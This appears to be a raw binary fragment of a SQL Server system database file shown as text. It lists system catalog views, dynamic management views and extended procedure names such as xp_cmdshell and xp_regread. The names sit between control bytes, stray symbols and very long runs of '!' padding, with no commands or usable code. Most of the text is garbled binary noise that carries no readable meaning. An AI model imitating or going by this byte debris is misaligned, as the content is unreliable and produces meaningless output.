2@jRhfT`04	""\"I100~V NNLsysdepends00V 9NPNNsyscomments00V Q)Nz)NVall_sql_modules00V uNNLsyscolumns00V xNNLsysobjects00V %N'%NTall_parameters00V $N'%NNall_columns00V "(NO(NJall_views00V 'N,'NNall_objects!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!<P`
u"$	 \&2*sysscalartypes&""sysschobjs&	*sysseobjvalues&J.syssingleobjrefs&b*syssoftobjrefs&`&syssqlguides&fsystem_components_surface_area_configuration&3,systypedsubobjs&-$sysusermsgs&9(syswebmethods&*sysxlgns&W$sysxmitbody&D&sysxmitqueue&[,sysxmlcomponent&\$sysxmlfacet&],sysxmlplacement&1 sysxprops&+sysxsrvs&1t.trace_categories&#(trace_columns&C}6trace_event_bindings&p'&trace_events&8trace_subclass_values&a4trace_xe_action_map&2trace_xe_event_map&@traces&a64trigger_event_types&A`TT_syspolicy_target_filters_type_4119A21D&L%"user_token&I0xp_availablemedia&R$xp_cmdshell&$J.xp_create_subdir&'j*xp_delete_file&Kd"xp_dirtree&&<xp_enum_oledb_providers&	o.xp_enumerrorlogs&:(xp_enumgroups&4&xp_fileexist&*xp_fixeddrives&1(xp_get_script&r4xp_get_tape_devices&nd(xp_getnetname&T6(xp_grantlogin&Hxp_instance_regaddmultistring&C>xp_instance_regdeletekey&nBxp_instance_regdeletevalue&%{<xp_instance_regenumkeys&a@xp_instance_regenumvalues&4xp_instance_regread&+@Nxp_instance_regremovemultistring&46xp_instance_regwrite&f$xp_logevent&*xp_loginconfig&d&xp_logininfo&vxp_msver&(xp_msx_enlist&J.xp_passAgentInfo&o:xp_prop_oledb_provider&T6xp_qv&>,xp_readerrorlog&E6xp_regaddmultistring&xP,xp_regdeletekey&0xp_regdeletevalue&g*xp_regenumkeys&͌.xp_regenumvalues&"xp_regread&<xp_regremovemultistring&>s1$xp_regwrite&L^xp_repl_convert_encrypt_sysadmin_wrapper&*xp_replposteor&@*xp_revokelogin&nR!0xp_servicecontrol&z"xp_sprintf&8xp_sqlagent_enum_jobs&5̃<xp_sqlagent_is_starting&4xp_sqlagent_monitor&-2xp_sqlagent_notify&P0xp_sqlagent_param&>u$xp_sqlmaint&"F@ xp_sscanf&P"xp_subdirs&PD4xp_sysmail_activate&kBxp_sysmail_attachment_load&H<xp_sysmail_format_query&$table_types&2system_sql_modules&Psystem_internals_allocation_units&Rsystem_internals_partition_columns&Dsystem_internals_partitions&6type_assembly_usages&1:xml_schema_collections&22transmission_queue&5Lxml_schema_component_placements&6Jxml_schema_wildcard_namespaces&76xml_schema_wildcards&88xml_schema_attributes&9<xml_schema_model_groups&:4xml_schema_elements&;0xml_schema_facets&<.xml_schema_types&=8xml_schema_components&>8xml_schema_namespaces&Ytypes&a*trigger_events&dtriggers&r$xml_indexes&v0system_parameters&x*system_columns&z&system_views&{*system_objects&}views&~tables&(via_endpoints&(tcp_endpoints&,"sysservers&tsysusers&usystypes!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!F|J


P
&
z>h2


^
@

			H		VL$~B t8Ft6nDDR&pr>Tl*6tP2
hjT.`
R"H!\UZC&$Tcolumn_xml_schema_collection_usages&u.computed_columns&A:conversation_endpoints&B4conversation_groups&<conversation_priorities&..crypt_properties&L$data_spaces&
Vdatabase_audit_specification_details&Hdatabase_audit_specifications&@*database_files&S6database_permissions&V4database_principals&T8database_role_members&h4default_constraints&I<destination_data_spaces&.dm_audit_actions&co<dm_audit_class_type_map&{@dm_broker_activated_tasks&M8dm_broker_connections&Fdm_broker_forwarded_messages&>dm_broker_queue_monitors&0(dm_cdc_errors&}>dm_cdc_log_scan_sessions&0dm_clr_appdomains&>dm_clr_loaded_assemblies&V0dm_clr_properties&J&dm_clr_tasks&Vdm_cryptographic_provider_algorithms&4BJdm_cryptographic_provider_keys&Vdm_cryptographic_provider_properties&NRdm_cryptographic_provider_sessions&ZDdm_database_encryption_keys&5Ldm_db_database_page_allocations&#st:dm_db_file_space_usage&O3Jdm_db_fts_index_physical_stats&$(Hdm_db_index_operational_stats&+QBdm_db_index_physical_stats&g<dm_db_index_usage_stats&j8dm_db_log_space_usage&"Ndm_db_mirroring_auto_page_repair&fDdm_db_mirroring_connections&IFdm_db_mirroring_past_actions&&Ddm_db_missing_index_columns&WQ)Ddm_db_missing_index_details&Ldm_db_missing_index_group_stats&vBdm_db_missing_index_groups&Nvdm_db_objects_disabled_on_compatibility_level_change&|8dm_db_partition_stats&UzFdm_db_persisted_sku_features&Vu2dm_db_script_level&Be@dm_db_session_space_usage&:dm_db_task_space_usage&{Bdm_db_uncontained_entities&U}Fdm_exec_background_job_queue&Rdm_exec_background_job_queue_stats&8cXdm_exec_cached_plan_dependent_objects&\6dm_exec_cached_plans&u4dm_exec_connections&,dm_exec_cursors&Pdm_exec_describe_first_result_set&Vȼfdm_exec_describe_first_result_set_for_object&J<dm_exec_plan_attributes&NN<dm_exec_procedure_stats&xDdm_exec_query_memory_grants&UpTFdm_exec_query_optimizer_info&\2dm_exec_query_plan&{iPdm_exec_query_resource_semaphores&nw4dm_exec_query_stats&
$Rdm_exec_query_transformation_stats&@	.dm_exec_requests&	0.dm_exec_sessions&V.dm_exec_sql_text&ycolumns&Ddatabase_filestream_options&<cryptographic_providers&>database_recovery_status&2database_mirroring&$credentials&Fdatabase_mirroring_endpoints& *configurations&*Fdatabase_mirroring_witnesses&+ databases!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!